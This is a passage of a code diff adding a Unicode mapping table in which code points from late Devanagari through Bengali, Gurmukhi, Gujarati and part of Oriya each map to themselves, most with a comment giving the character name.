+ ["\u0972", "\u0972"], /* DEVANAGARI LETTER CANDRA A */
+ ["\u0973", "\u0973"], /* DEVANAGARI LETTER OE */
+ ["\u0974", "\u0974"], /* DEVANAGARI LETTER OOE */
+ ["\u0975", "\u0975"], /* DEVANAGARI LETTER AW */
+ ["\u0976", "\u0976"], /* DEVANAGARI LETTER UE */
+ ["\u0977", "\u0977"], /* DEVANAGARI LETTER UUE */
+ ["\u0978", "\u0978"], /* DEVANAGARI LETTER MARWARI DDA */
+ ["\u0979", "\u0979"], /* DEVANAGARI LETTER ZHA */
+ ["\u097A", "\u097A"], /* DEVANAGARI LETTER HEAVY YA */
+ ["\u097B", "\u097B"], /* DEVANAGARI LETTER GGA */
+ ["\u097C", "\u097C"], /* DEVANAGARI LETTER JJA */
+ ["\u097D", "\u097D"], /* DEVANAGARI LETTER GLOTTAL STOP */
+ ["\u097E", "\u097E"], /* DEVANAGARI LETTER DDDA */
+ ["\u097F", "\u097F"], /* DEVANAGARI LETTER BBA */
+ ["\u0980", "\u0980"], /* BENGALI ANJI */
+ ["\u0981", "\u0981"], /* BENGALI SIGN CANDRABINDU */
+ ["\u0982", "\u0982"], /* BENGALI SIGN ANUSVARA */
+ ["\u0983", "\u0983"], /* BENGALI SIGN VISARGA */
+ ["\u0984", "\u0984"],
+ ["\u0985", "\u0985"], /* BENGALI LETTER A */
+ ["\u0986", "\u0986"], /* BENGALI LETTER AA */
+ ["\u0987", "\u0987"], /* BENGALI LETTER I */
+ ["\u0988", "\u0988"], /* BENGALI LETTER II */
+ ["\u0989", "\u0989"], /* BENGALI LETTER U */
+ ["\u098A", "\u098A"], /* BENGALI LETTER UU */
+ ["\u098B", "\u098B"], /* BENGALI LETTER VOCALIC R */
+ ["\u098C", "\u098C"], /* BENGALI LETTER VOCALIC L */
+ ["\u098D", "\u098D"],
+ ["\u098E", "\u098E"],
+ ["\u098F", "\u098F"], /* BENGALI LETTER E */
+ ["\u0990", "\u0990"], /* BENGALI LETTER AI */
+ ["\u0991", "\u0991"],
+ ["\u0992", "\u0992"],
+ ["\u0993", "\u0993"], /* BENGALI LETTER O */
+ ["\u0994", "\u0994"], /* BENGALI LETTER AU */
+ ["\u0995", "\u0995"], /* BENGALI LETTER KA */
+ ["\u0996", "\u0996"], /* BENGALI LETTER KHA */
+ ["\u0997", "\u0997"], /* BENGALI LETTER GA */
+ ["\u0998", "\u0998"], /* BENGALI LETTER GHA */
+ ["\u0999", "\u0999"], /* BENGALI LETTER NGA */
+ ["\u099A", "\u099A"], /* BENGALI LETTER CA */
+ ["\u099B", "\u099B"], /* BENGALI LETTER CHA */
+ ["\u099C", "\u099C"], /* BENGALI LETTER JA */
+ ["\u099D", "\u099D"], /* BENGALI LETTER JHA */
+ ["\u099E", "\u099E"], /* BENGALI LETTER NYA */
+ ["\u099F", "\u099F"], /* BENGALI LETTER TTA */
+ ["\u09A0", "\u09A0"], /* BENGALI LETTER TTHA */
+ ["\u09A1", "\u09A1"], /* BENGALI LETTER DDA */
+ ["\u09A2", "\u09A2"], /* BENGALI LETTER DDHA */
+ ["\u09A3", "\u09A3"], /* BENGALI LETTER NNA */
+ ["\u09A4", "\u09A4"], /* BENGALI LETTER TA */
+ ["\u09A5", "\u09A5"], /* BENGALI LETTER THA */
+ ["\u09A6", "\u09A6"], /* BENGALI LETTER DA */
+ ["\u09A7", "\u09A7"], /* BENGALI LETTER DHA */
+ ["\u09A8", "\u09A8"], /* BENGALI LETTER NA */
+ ["\u09A9", "\u09A9"],
+ ["\u09AA", "\u09AA"], /* BENGALI LETTER PA */
+ ["\u09AB", "\u09AB"], /* BENGALI LETTER PHA */
+ ["\u09AC", "\u09AC"], /* BENGALI LETTER BA */
+ ["\u09AD", "\u09AD"], /* BENGALI LETTER BHA */
+ ["\u09AE", "\u09AE"], /* BENGALI LETTER MA */
+ ["\u09AF", "\u09AF"], /* BENGALI LETTER YA */
+ ["\u09B0", "\u09B0"], /* BENGALI LETTER RA */
+ ["\u09B1", "\u09B1"],
+ ["\u09B2", "\u09B2"], /* BENGALI LETTER LA */
+ ["\u09B3", "\u09B3"],
+ ["\u09B4", "\u09B4"],
+ ["\u09B5", "\u09B5"],
+ ["\u09B6", "\u09B6"], /* BENGALI LETTER SHA */
+ ["\u09B7", "\u09B7"], /* BENGALI LETTER SSA */
+ ["\u09B8", "\u09B8"], /* BENGALI LETTER SA */
+ ["\u09B9", "\u09B9"], /* BENGALI LETTER HA */
+ ["\u09BA", "\u09BA"],
+ ["\u09BB", "\u09BB"],
+ ["\u09BC", "\u09BC"], /* BENGALI SIGN NUKTA */
+ ["\u09BD", "\u09BD"], /* BENGALI SIGN AVAGRAHA */
+ ["\u09BE", "\u09BE"], /* BENGALI VOWEL SIGN AA */
+ ["\u09BF", "\u09BF"], /* BENGALI VOWEL SIGN I */
+ ["\u09C0", "\u09C0"], /* BENGALI VOWEL SIGN II */
+ ["\u09C1", "\u09C1"], /* BENGALI VOWEL SIGN U */
+ ["\u09C2", "\u09C2"], /* BENGALI VOWEL SIGN UU */
+ ["\u09C3", "\u09C3"], /* BENGALI VOWEL SIGN VOCALIC R */
+ ["\u09C4", "\u09C4"], /* BENGALI VOWEL SIGN VOCALIC RR */
+ ["\u09C5", "\u09C5"],
+ ["\u09C6", "\u09C6"],
+ ["\u09C7", "\u09C7"], /* BENGALI VOWEL SIGN E */
+ ["\u09C8", "\u09C8"], /* BENGALI VOWEL SIGN AI */
+ ["\u09C9", "\u09C9"],
+ ["\u09CA", "\u09CA"],
+ ["\u09CB", "\u09CB"], /* BENGALI VOWEL SIGN O */
+ ["\u09CC", "\u09CC"], /* BENGALI VOWEL SIGN AU */
+ ["\u09CD", "\u09CD"], /* BENGALI SIGN VIRAMA */
+ ["\u09CE", "\u09CE"], /* BENGALI LETTER KHANDA TA */
+ ["\u09CF", "\u09CF"],
+ ["\u09D0", "\u09D0"],
+ ["\u09D1", "\u09D1"],
+ ["\u09D2", "\u09D2"],
+ ["\u09D3", "\u09D3"],
+ ["\u09D4", "\u09D4"],
+ ["\u09D5", "\u09D5"],
+ ["\u09D6", "\u09D6"],
+ ["\u09D7", "\u09D7"], /* BENGALI AU LENGTH MARK */
+ ["\u09D8", "\u09D8"],
+ ["\u09D9", "\u09D9"],
+ ["\u09DA", "\u09DA"],
+ ["\u09DB", "\u09DB"],
+ ["\u09DC", "\u09DC"], /* BENGALI LETTER RRA */
+ ["\u09DD", "\u09DD"], /* BENGALI LETTER RHA */
+ ["\u09DE", "\u09DE"],
+ ["\u09DF", "\u09DF"], /* BENGALI LETTER YYA */
+ ["\u09E0", "\u09E0"], /* BENGALI LETTER VOCALIC RR */
+ ["\u09E1", "\u09E1"], /* BENGALI LETTER VOCALIC LL */
+ ["\u09E2", "\u09E2"], /* BENGALI VOWEL SIGN VOCALIC L */
+ ["\u09E3", "\u09E3"], /* BENGALI VOWEL SIGN VOCALIC LL */
+ ["\u09E4", "\u09E4"],
+ ["\u09E5", "\u09E5"],
+ ["\u09E6", "\u09E6"], /* BENGALI DIGIT ZERO */
+ ["\u09E7", "\u09E7"], /* BENGALI DIGIT ONE */
+ ["\u09E8", "\u09E8"], /* BENGALI DIGIT TWO */
+ ["\u09E9", "\u09E9"], /* BENGALI DIGIT THREE */
+ ["\u09EA", "\u09EA"], /* BENGALI DIGIT FOUR */
+ ["\u09EB", "\u09EB"], /* BENGALI DIGIT FIVE */
+ ["\u09EC", "\u09EC"], /* BENGALI DIGIT SIX */
+ ["\u09ED", "\u09ED"], /* BENGALI DIGIT SEVEN */
+ ["\u09EE", "\u09EE"], /* BENGALI DIGIT EIGHT */
+ ["\u09EF", "\u09EF"], /* BENGALI DIGIT NINE */
+ ["\u09F0", "\u09F0"], /* BENGALI LETTER RA WITH MIDDLE DIAGONAL */
+ ["\u09F1", "\u09F1"], /* BENGALI LETTER RA WITH LOWER DIAGONAL (BENGALI LETTER VA WITH LOWER DIAGONAL) */
+ ["\u09F2", "\u09F2"], /* BENGALI RUPEE MARK */
+ ["\u09F3", "\u09F3"], /* BENGALI RUPEE SIGN */
+ ["\u09F4", "\u09F4"], /* BENGALI CURRENCY NUMERATOR ONE */
+ ["\u09F5", "\u09F5"], /* BENGALI CURRENCY NUMERATOR TWO */
+ ["\u09F6", "\u09F6"], /* BENGALI CURRENCY NUMERATOR THREE */
+ ["\u09F7", "\u09F7"], /* BENGALI CURRENCY NUMERATOR FOUR */
+ ["\u09F8", "\u09F8"], /* BENGALI CURRENCY NUMERATOR ONE LESS THAN THE DENOMINATOR */
+ ["\u09F9", "\u09F9"], /* BENGALI CURRENCY DENOMINATOR SIXTEEN */
+ ["\u09FA", "\u09FA"], /* BENGALI ISSHAR */
+ ["\u09FB", "\u09FB"], /* BENGALI GANDA MARK */
+ ["\u09FC", "\u09FC"], /* BENGALI LETTER VEDIC ANUSVARA */
+ ["\u09FD", "\u09FD"], /* BENGALI ABBREVIATION SIGN */
+ ["\u09FE", "\u09FE"], /* BENGALI SANDHI MARK */
+ ["\u09FF", "\u09FF"],
+ ["\u0A00", "\u0A00"],
+ ["\u0A01", "\u0A01"], /* GURMUKHI SIGN ADAK BINDI */
+ ["\u0A02", "\u0A02"], /* GURMUKHI SIGN BINDI */
+ ["\u0A03", "\u0A03"], /* GURMUKHI SIGN VISARGA */
+ ["\u0A04", "\u0A04"],
+ ["\u0A05", "\u0A05"], /* GURMUKHI LETTER A */
+ ["\u0A06", "\u0A06"], /* GURMUKHI LETTER AA */
+ ["\u0A07", "\u0A07"], /* GURMUKHI LETTER I */
+ ["\u0A08", "\u0A08"], /* GURMUKHI LETTER II */
+ ["\u0A09", "\u0A09"], /* GURMUKHI LETTER U */
+ ["\u0A0A", "\u0A0A"], /* GURMUKHI LETTER UU */
+ ["\u0A0B", "\u0A0B"],
+ ["\u0A0C", "\u0A0C"],
+ ["\u0A0D", "\u0A0D"],
+ ["\u0A0E", "\u0A0E"],
+ ["\u0A0F", "\u0A0F"], /* GURMUKHI LETTER EE */
+ ["\u0A10", "\u0A10"], /* GURMUKHI LETTER AI */
+ ["\u0A11", "\u0A11"],
+ ["\u0A12", "\u0A12"],
+ ["\u0A13", "\u0A13"], /* GURMUKHI LETTER OO */
+ ["\u0A14", "\u0A14"], /* GURMUKHI LETTER AU */
+ ["\u0A15", "\u0A15"], /* GURMUKHI LETTER KA */
+ ["\u0A16", "\u0A16"], /* GURMUKHI LETTER KHA */
+ ["\u0A17", "\u0A17"], /* GURMUKHI LETTER GA */
+ ["\u0A18", "\u0A18"], /* GURMUKHI LETTER GHA */
+ ["\u0A19", "\u0A19"], /* GURMUKHI LETTER NGA */
+ ["\u0A1A", "\u0A1A"], /* GURMUKHI LETTER CA */
+ ["\u0A1B", "\u0A1B"], /* GURMUKHI LETTER CHA */
+ ["\u0A1C", "\u0A1C"], /* GURMUKHI LETTER JA */
+ ["\u0A1D", "\u0A1D"], /* GURMUKHI LETTER JHA */
+ ["\u0A1E", "\u0A1E"], /* GURMUKHI LETTER NYA */
+ ["\u0A1F", "\u0A1F"], /* GURMUKHI LETTER TTA */
+ ["\u0A20", "\u0A20"], /* GURMUKHI LETTER TTHA */
+ ["\u0A21", "\u0A21"], /* GURMUKHI LETTER DDA */
+ ["\u0A22", "\u0A22"], /* GURMUKHI LETTER DDHA */
+ ["\u0A23", "\u0A23"], /* GURMUKHI LETTER NNA */
+ ["\u0A24", "\u0A24"], /* GURMUKHI LETTER TA */
+ ["\u0A25", "\u0A25"], /* GURMUKHI LETTER THA */
+ ["\u0A26", "\u0A26"], /* GURMUKHI LETTER DA */
+ ["\u0A27", "\u0A27"], /* GURMUKHI LETTER DHA */
+ ["\u0A28", "\u0A28"], /* GURMUKHI LETTER NA */
+ ["\u0A29", "\u0A29"],
+ ["\u0A2A", "\u0A2A"], /* GURMUKHI LETTER PA */
+ ["\u0A2B", "\u0A2B"], /* GURMUKHI LETTER PHA */
+ ["\u0A2C", "\u0A2C"], /* GURMUKHI LETTER BA */
+ ["\u0A2D", "\u0A2D"], /* GURMUKHI LETTER BHA */
+ ["\u0A2E", "\u0A2E"], /* GURMUKHI LETTER MA */
+ ["\u0A2F", "\u0A2F"], /* GURMUKHI LETTER YA */
+ ["\u0A30", "\u0A30"], /* GURMUKHI LETTER RA */
+ ["\u0A31", "\u0A31"],
+ ["\u0A32", "\u0A32"], /* GURMUKHI LETTER LA */
+ ["\u0A33", "\u0A33"], /* GURMUKHI LETTER LLA */
+ ["\u0A34", "\u0A34"],
+ ["\u0A35", "\u0A35"], /* GURMUKHI LETTER VA */
+ ["\u0A36", "\u0A36"], /* GURMUKHI LETTER SHA */
+ ["\u0A37", "\u0A37"],
+ ["\u0A38", "\u0A38"], /* GURMUKHI LETTER SA */
+ ["\u0A39", "\u0A39"], /* GURMUKHI LETTER HA */
+ ["\u0A3A", "\u0A3A"],
+ ["\u0A3B", "\u0A3B"],
+ ["\u0A3C", "\u0A3C"], /* GURMUKHI SIGN NUKTA */
+ ["\u0A3D", "\u0A3D"],
+ ["\u0A3E", "\u0A3E"], /* GURMUKHI VOWEL SIGN AA */
+ ["\u0A3F", "\u0A3F"], /* GURMUKHI VOWEL SIGN I */
+ ["\u0A40", "\u0A40"], /* GURMUKHI VOWEL SIGN II */
+ ["\u0A41", "\u0A41"], /* GURMUKHI VOWEL SIGN U */
+ ["\u0A42", "\u0A42"], /* GURMUKHI VOWEL SIGN UU */
+ ["\u0A43", "\u0A43"],
+ ["\u0A44", "\u0A44"],
+ ["\u0A45", "\u0A45"],
+ ["\u0A46", "\u0A46"],
+ ["\u0A47", "\u0A47"], /* GURMUKHI VOWEL SIGN EE */
+ ["\u0A48", "\u0A48"], /* GURMUKHI VOWEL SIGN AI */
+ ["\u0A49", "\u0A49"],
+ ["\u0A4A", "\u0A4A"],
+ ["\u0A4B", "\u0A4B"], /* GURMUKHI VOWEL SIGN OO */
+ ["\u0A4C", "\u0A4C"], /* GURMUKHI VOWEL SIGN AU */
+ ["\u0A4D", "\u0A4D"], /* GURMUKHI SIGN VIRAMA */
+ ["\u0A4E", "\u0A4E"],
+ ["\u0A4F", "\u0A4F"],
+ ["\u0A50", "\u0A50"],
+ ["\u0A51", "\u0A51"], /* GURMUKHI SIGN UDAAT */
+ ["\u0A52", "\u0A52"],
+ ["\u0A53", "\u0A53"],
+ ["\u0A54", "\u0A54"],
+ ["\u0A55", "\u0A55"],
+ ["\u0A56", "\u0A56"],
+ ["\u0A57", "\u0A57"],
+ ["\u0A58", "\u0A58"],
+ ["\u0A59", "\u0A59"], /* GURMUKHI LETTER KHHA */
+ ["\u0A5A", "\u0A5A"], /* GURMUKHI LETTER GHHA */
+ ["\u0A5B", "\u0A5B"], /* GURMUKHI LETTER ZA */
+ ["\u0A5C", "\u0A5C"], /* GURMUKHI LETTER RRA */
+ ["\u0A5D", "\u0A5D"],
+ ["\u0A5E", "\u0A5E"], /* GURMUKHI LETTER FA */
+ ["\u0A5F", "\u0A5F"],
+ ["\u0A60", "\u0A60"],
+ ["\u0A61", "\u0A61"],
+ ["\u0A62", "\u0A62"],
+ ["\u0A63", "\u0A63"],
+ ["\u0A64", "\u0A64"],
+ ["\u0A65", "\u0A65"],
+ ["\u0A66", "\u0A66"], /* GURMUKHI DIGIT ZERO */
+ ["\u0A67", "\u0A67"], /* GURMUKHI DIGIT ONE */
+ ["\u0A68", "\u0A68"], /* GURMUKHI DIGIT TWO */
+ ["\u0A69", "\u0A69"], /* GURMUKHI DIGIT THREE */
+ ["\u0A6A", "\u0A6A"], /* GURMUKHI DIGIT FOUR */
+ ["\u0A6B", "\u0A6B"], /* GURMUKHI DIGIT FIVE */
+ ["\u0A6C", "\u0A6C"], /* GURMUKHI DIGIT SIX */
+ ["\u0A6D", "\u0A6D"], /* GURMUKHI DIGIT SEVEN */
+ ["\u0A6E", "\u0A6E"], /* GURMUKHI DIGIT EIGHT */
+ ["\u0A6F", "\u0A6F"], /* GURMUKHI DIGIT NINE */
+ ["\u0A70", "\u0A70"], /* GURMUKHI TIPPI */
+ ["\u0A71", "\u0A71"], /* GURMUKHI ADDAK */
+ ["\u0A72", "\u0A72"], /* GURMUKHI IRI */
+ ["\u0A73", "\u0A73"], /* GURMUKHI URA */
+ ["\u0A74", "\u0A74"], /* GURMUKHI EK ONKAR */
+ ["\u0A75", "\u0A75"], /* GURMUKHI SIGN YAKASH */
+ ["\u0A76", "\u0A76"], /* GURMUKHI ABBREVIATION SIGN */
+ ["\u0A77", "\u0A77"],
+ ["\u0A78", "\u0A78"],
+ ["\u0A79", "\u0A79"],
+ ["\u0A7A", "\u0A7A"],
+ ["\u0A7B", "\u0A7B"],
+ ["\u0A7C", "\u0A7C"],
+ ["\u0A7D", "\u0A7D"],
+ ["\u0A7E", "\u0A7E"],
+ ["\u0A7F", "\u0A7F"],
+ ["\u0A80", "\u0A80"],
+ ["\u0A81", "\u0A81"], /* GUJARATI SIGN CANDRABINDU */
+ ["\u0A82", "\u0A82"], /* GUJARATI SIGN ANUSVARA */
+ ["\u0A83", "\u0A83"], /* GUJARATI SIGN VISARGA */
+ ["\u0A84", "\u0A84"],
+ ["\u0A85", "\u0A85"], /* GUJARATI LETTER A */
+ ["\u0A86", "\u0A86"], /* GUJARATI LETTER AA */
+ ["\u0A87", "\u0A87"], /* GUJARATI LETTER I */
+ ["\u0A88", "\u0A88"], /* GUJARATI LETTER II */
+ ["\u0A89", "\u0A89"], /* GUJARATI LETTER U */
+ ["\u0A8A", "\u0A8A"], /* GUJARATI LETTER UU */
+ ["\u0A8B", "\u0A8B"], /* GUJARATI LETTER VOCALIC R */
+ ["\u0A8C", "\u0A8C"], /* GUJARATI LETTER VOCALIC L */
+ ["\u0A8D", "\u0A8D"], /* GUJARATI VOWEL CANDRA E */
+ ["\u0A8E", "\u0A8E"],
+ ["\u0A8F", "\u0A8F"], /* GUJARATI LETTER E */
+ ["\u0A90", "\u0A90"], /* GUJARATI LETTER AI */
+ ["\u0A91", "\u0A91"], /* GUJARATI VOWEL CANDRA O */
+ ["\u0A92", "\u0A92"],
+ ["\u0A93", "\u0A93"], /* GUJARATI LETTER O */
+ ["\u0A94", "\u0A94"], /* GUJARATI LETTER AU */
+ ["\u0A95", "\u0A95"], /* GUJARATI LETTER KA */
+ ["\u0A96", "\u0A96"], /* GUJARATI LETTER KHA */
+ ["\u0A97", "\u0A97"], /* GUJARATI LETTER GA */
+ ["\u0A98", "\u0A98"], /* GUJARATI LETTER GHA */
+ ["\u0A99", "\u0A99"], /* GUJARATI LETTER NGA */
+ ["\u0A9A", "\u0A9A"], /* GUJARATI LETTER CA */
+ ["\u0A9B", "\u0A9B"], /* GUJARATI LETTER CHA */
+ ["\u0A9C", "\u0A9C"], /* GUJARATI LETTER JA */
+ ["\u0A9D", "\u0A9D"], /* GUJARATI LETTER JHA */
+ ["\u0A9E", "\u0A9E"], /* GUJARATI LETTER NYA */
+ ["\u0A9F", "\u0A9F"], /* GUJARATI LETTER TTA */
+ ["\u0AA0", "\u0AA0"], /* GUJARATI LETTER TTHA */
+ ["\u0AA1", "\u0AA1"], /* GUJARATI LETTER DDA */
+ ["\u0AA2", "\u0AA2"], /* GUJARATI LETTER DDHA */
+ ["\u0AA3", "\u0AA3"], /* GUJARATI LETTER NNA */
+ ["\u0AA4", "\u0AA4"], /* GUJARATI LETTER TA */
+ ["\u0AA5", "\u0AA5"], /* GUJARATI LETTER THA */
+ ["\u0AA6", "\u0AA6"], /* GUJARATI LETTER DA */
+ ["\u0AA7", "\u0AA7"], /* GUJARATI LETTER DHA */
+ ["\u0AA8", "\u0AA8"], /* GUJARATI LETTER NA */
+ ["\u0AA9", "\u0AA9"],
+ ["\u0AAA", "\u0AAA"], /* GUJARATI LETTER PA */
+ ["\u0AAB", "\u0AAB"], /* GUJARATI LETTER PHA */
+ ["\u0AAC", "\u0AAC"], /* GUJARATI LETTER BA */
+ ["\u0AAD", "\u0AAD"], /* GUJARATI LETTER BHA */
+ ["\u0AAE", "\u0AAE"], /* GUJARATI LETTER MA */
+ ["\u0AAF", "\u0AAF"], /* GUJARATI LETTER YA */
+ ["\u0AB0", "\u0AB0"], /* GUJARATI LETTER RA */
+ ["\u0AB1", "\u0AB1"],
+ ["\u0AB2", "\u0AB2"], /* GUJARATI LETTER LA */
+ ["\u0AB3", "\u0AB3"], /* GUJARATI LETTER LLA */
+ ["\u0AB4", "\u0AB4"],
+ ["\u0AB5", "\u0AB5"], /* GUJARATI LETTER VA */
+ ["\u0AB6", "\u0AB6"], /* GUJARATI LETTER SHA */
+ ["\u0AB7", "\u0AB7"], /* GUJARATI LETTER SSA */
+ ["\u0AB8", "\u0AB8"], /* GUJARATI LETTER SA */
+ ["\u0AB9", "\u0AB9"], /* GUJARATI LETTER HA */
+ ["\u0ABA", "\u0ABA"],
+ ["\u0ABB", "\u0ABB"],
+ ["\u0ABC", "\u0ABC"], /* GUJARATI SIGN NUKTA */
+ ["\u0ABD", "\u0ABD"], /* GUJARATI SIGN AVAGRAHA */
+ ["\u0ABE", "\u0ABE"], /* GUJARATI VOWEL SIGN AA */
+ ["\u0ABF", "\u0ABF"], /* GUJARATI VOWEL SIGN I */
+ ["\u0AC0", "\u0AC0"], /* GUJARATI VOWEL SIGN II */
+ ["\u0AC1", "\u0AC1"], /* GUJARATI VOWEL SIGN U */
+ ["\u0AC2", "\u0AC2"], /* GUJARATI VOWEL SIGN UU */
+ ["\u0AC3", "\u0AC3"], /* GUJARATI VOWEL SIGN VOCALIC R */
+ ["\u0AC4", "\u0AC4"], /* GUJARATI VOWEL SIGN VOCALIC RR */
+ ["\u0AC5", "\u0AC5"], /* GUJARATI VOWEL SIGN CANDRA E */
+ ["\u0AC6", "\u0AC6"],
+ ["\u0AC7", "\u0AC7"], /* GUJARATI VOWEL SIGN E */
+ ["\u0AC8", "\u0AC8"], /* GUJARATI VOWEL SIGN AI */
+ ["\u0AC9", "\u0AC9"], /* GUJARATI VOWEL SIGN CANDRA O */
+ ["\u0ACA", "\u0ACA"],
+ ["\u0ACB", "\u0ACB"], /* GUJARATI VOWEL SIGN O */
+ ["\u0ACC", "\u0ACC"], /* GUJARATI VOWEL SIGN AU */
+ ["\u0ACD", "\u0ACD"], /* GUJARATI SIGN VIRAMA */
+ ["\u0ACE", "\u0ACE"],
+ ["\u0ACF", "\u0ACF"],
+ ["\u0AD0", "\u0AD0"], /* GUJARATI OM */
+ ["\u0AD1", "\u0AD1"],
+ ["\u0AD2", "\u0AD2"],
+ ["\u0AD3", "\u0AD3"],
+ ["\u0AD4", "\u0AD4"],
+ ["\u0AD5", "\u0AD5"],
+ ["\u0AD6", "\u0AD6"],
+ ["\u0AD7", "\u0AD7"],
+ ["\u0AD8", "\u0AD8"],
+ ["\u0AD9", "\u0AD9"],
+ ["\u0ADA", "\u0ADA"],
+ ["\u0ADB", "\u0ADB"],
+ ["\u0ADC", "\u0ADC"],
+ ["\u0ADD", "\u0ADD"],
+ ["\u0ADE", "\u0ADE"],
+ ["\u0ADF", "\u0ADF"],
+ ["\u0AE0", "\u0AE0"], /* GUJARATI LETTER VOCALIC RR */
+ ["\u0AE1", "\u0AE1"], /* GUJARATI LETTER VOCALIC LL */
+ ["\u0AE2", "\u0AE2"], /* GUJARATI VOWEL SIGN VOCALIC L */
+ ["\u0AE3", "\u0AE3"], /* GUJARATI VOWEL SIGN VOCALIC LL */
+ ["\u0AE4", "\u0AE4"],
+ ["\u0AE5", "\u0AE5"],
+ ["\u0AE6", "\u0AE6"], /* GUJARATI DIGIT ZERO */
+ ["\u0AE7", "\u0AE7"], /* GUJARATI DIGIT ONE */
+ ["\u0AE8", "\u0AE8"], /* GUJARATI DIGIT TWO */
+ ["\u0AE9", "\u0AE9"], /* GUJARATI DIGIT THREE */
+ ["\u0AEA", "\u0AEA"], /* GUJARATI DIGIT FOUR */
+ ["\u0AEB", "\u0AEB"], /* GUJARATI DIGIT FIVE */
+ ["\u0AEC", "\u0AEC"], /* GUJARATI DIGIT SIX */
+ ["\u0AED", "\u0AED"], /* GUJARATI DIGIT SEVEN */
+ ["\u0AEE", "\u0AEE"], /* GUJARATI DIGIT EIGHT */
+ ["\u0AEF", "\u0AEF"], /* GUJARATI DIGIT NINE */
+ ["\u0AF0", "\u0AF0"], /* GUJARATI ABBREVIATION SIGN */
+ ["\u0AF1", "\u0AF1"], /* GUJARATI RUPEE SIGN */
+ ["\u0AF2", "\u0AF2"],
+ ["\u0AF3", "\u0AF3"],
+ ["\u0AF4", "\u0AF4"],
+ ["\u0AF5", "\u0AF5"],
+ ["\u0AF6", "\u0AF6"],
+ ["\u0AF7", "\u0AF7"],
+ ["\u0AF8", "\u0AF8"],
+ ["\u0AF9", "\u0AF9"], /* GUJARATI LETTER ZHA */
+ ["\u0AFA", "\u0AFA"], /* GUJARATI SIGN SUKUN */
+ ["\u0AFB", "\u0AFB"], /* GUJARATI SIGN SHADDA */
+ ["\u0AFC", "\u0AFC"], /* GUJARATI SIGN MADDAH */
+ ["\u0AFD", "\u0AFD"], /* GUJARATI SIGN THREE-DOT NUKTA ABOVE */
+ ["\u0AFE", "\u0AFE"], /* GUJARATI SIGN CIRCLE NUKTA ABOVE */
+ ["\u0AFF", "\u0AFF"], /* GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE */
+ ["\u0B00", "\u0B00"],
+ ["\u0B01", "\u0B01"], /* ORIYA SIGN CANDRABINDU */
+ ["\u0B02", "\u0B02"], /* ORIYA SIGN ANUSVARA */
+ ["\u0B03", "\u0B03"], /* ORIYA SIGN VISARGA */
+ ["\u0B04", "\u0B04"],
+ ["\u0B05", "\u0B05"], /* ORIYA LETTER A */
+ ["\u0B06", "\u0B06"], /* ORIYA LETTER AA */
+ ["\u0B07", "\u0B07"], /* ORIYA LETTER I */
+ ["\u0B08", "\u0B08"], /* ORIYA LETTER II */
+ ["\u0B09", "\u0B09"], /* ORIYA LETTER U */
+ ["\u0B0A", "\u0B0A"], /* ORIYA LETTER UU */
+ ["\u0B0B", "\u0B0B"], /* ORIYA LETTER VOCALIC R */
+ ["\u0B0C", "\u0B0C"], /* ORIYA LETTER VOCALIC L */
+ ["\u0B0D", "\u0B0D"],
+ ["\u0B0E", "\u0B0E"],
+ ["\u0B0F", "\u0B0F"], /* ORIYA LETTER E */
+ ["\u0B10", "\u0B10"], /* ORIYA LETTER AI */
+ ["\u0B11", "\u0B11"],
+ ["\u0B12", "\u0B12"],
+ ["\u0B13", "\u0B13"], /* ORIYA LETTER O */
+ ["\u0B14", "\u0B14"], /* ORIYA LETTER AU */
+ ["\u0B15", "\u0B15"], /* ORIYA LETTER KA */
+ ["\u0B16", "\u0B16"], /* ORIYA LETTER KHA */
+ ["\u0B17", "\u0B17"], /* ORIYA LETTER GA */
+ ["\u0B18", "\u0B18"], /* ORIYA LETTER GHA */
+ ["\u0B19", "\u0B19"], /* ORIYA LETTER NGA */
+ ["\u0B1A", "\u0B1A"], /* ORIYA LETTER CA */
+ ["\u0B1B", "\u0B1B"], /* ORIYA LETTER CHA */
+ ["\u0B1C", "\u0B1C"], /* ORIYA LETTER JA */
+ ["\u0B1D", "\u0B1D"], /* ORIYA LETTER JHA */
+ ["\u0B1E", "\u0B1E"], /* ORIYA LETTER NYA */
+ ["\u0B1F", "\u0B1F"], /* ORIYA LETTER TTA */
+ ["\u0B20", "\u0B20"], /* ORIYA LETTER TTHA */
+ ["\u0B21", "\u0B21"], /* ORIYA LETTER DDA */
+ ["\u0B22", "\u0B22"], /* ORIYA LETTER DDHA */
+ ["\u0B23", "\u0B23"], /* ORIYA LETTER NNA */
+ ["\u0B24", "\u0B24"], /* ORIYA LETTER TA */
+ ["\u0B25", "\u0B25"], /* ORIYA LETTER THA */
+ ["\u0B26", "\u0B26"], /* ORIYA LETTER DA */
+ ["\u0B27", "\u0B27"], /* ORIYA LETTER DHA */
+ ["\u0B28", "\u0B28"], /* ORIYA LETTER NA */
+ ["\u0B29", "\u0B29"],
+ ["\u0B2A", "\u0B2A"], /* ORIYA LETTER PA */
+ ["\u0B2B", "\u0B2B"], /* ORIYA LETTER PHA */
+ ["\u0B2C", "\u0B2C"], /* ORIYA LETTER BA */
+ ["\u0B2D", "\u0B2D"], /* ORIYA LETTER BHA */
+ ["\u0B2E", "\u0B2E"], /* ORIYA LETTER MA */
+ ["\u0B2F", "\u0B2F"], /* ORIYA LETTER YA */
+ ["\u0B30", "\u0B30"], /* ORIYA LETTER RA */
+ ["\u0B31", "\u0B31"],
+ ["\u0B32", "\u0B32"], /* ORIYA LETTER LA */
+ ["\u0B33", "\u0B33"], /* ORIYA LETTER LLA */
+ ["\u0B34", "\u0B34"],
+ ["\u0B35", "\u0B35"], /* ORIYA LETTER VA */
+ ["\u0B36", "\u0B36"], /* ORIYA LETTER SHA */
+ ["\u0B37", "\u0B37"], /* ORIYA LETTER SSA */
+ ["\u0B38", "\u0B38"], /* ORIYA LETTER SA */
+ ["\u0B39", "\u0B39"], /* ORIYA LETTER HA */
+ ["\u0B3A", "\u0B3A"],
+ ["\u0B3B", "\u0B3B"],
+ ["\u0B3C", "\u0B3C"], /* ORIYA SIGN NUKTA */
+ ["\u0B3D", "\u0B3D"], /* ORIYA SIGN AVAGRAHA */
+ ["\u0B3E", "\u0B3E"], /* ORIYA VOWEL SIGN AA */
+ ["\u0B3F", "\u0B3F"], /* ORIYA VOWEL SIGN I */
+ ["\u0B40", "\u0B40"], /* ORIYA VOWEL SIGN II */
+ ["\u0B41", "\u0B41"], /* ORIYA VOWEL SIGN U */
+ ["\u0B42", "\u0B42"], /* ORIYA VOWEL SIGN UU */
+ ["\u0B43", "\u0B43"], /* ORIYA VOWEL SIGN VOCALIC R */
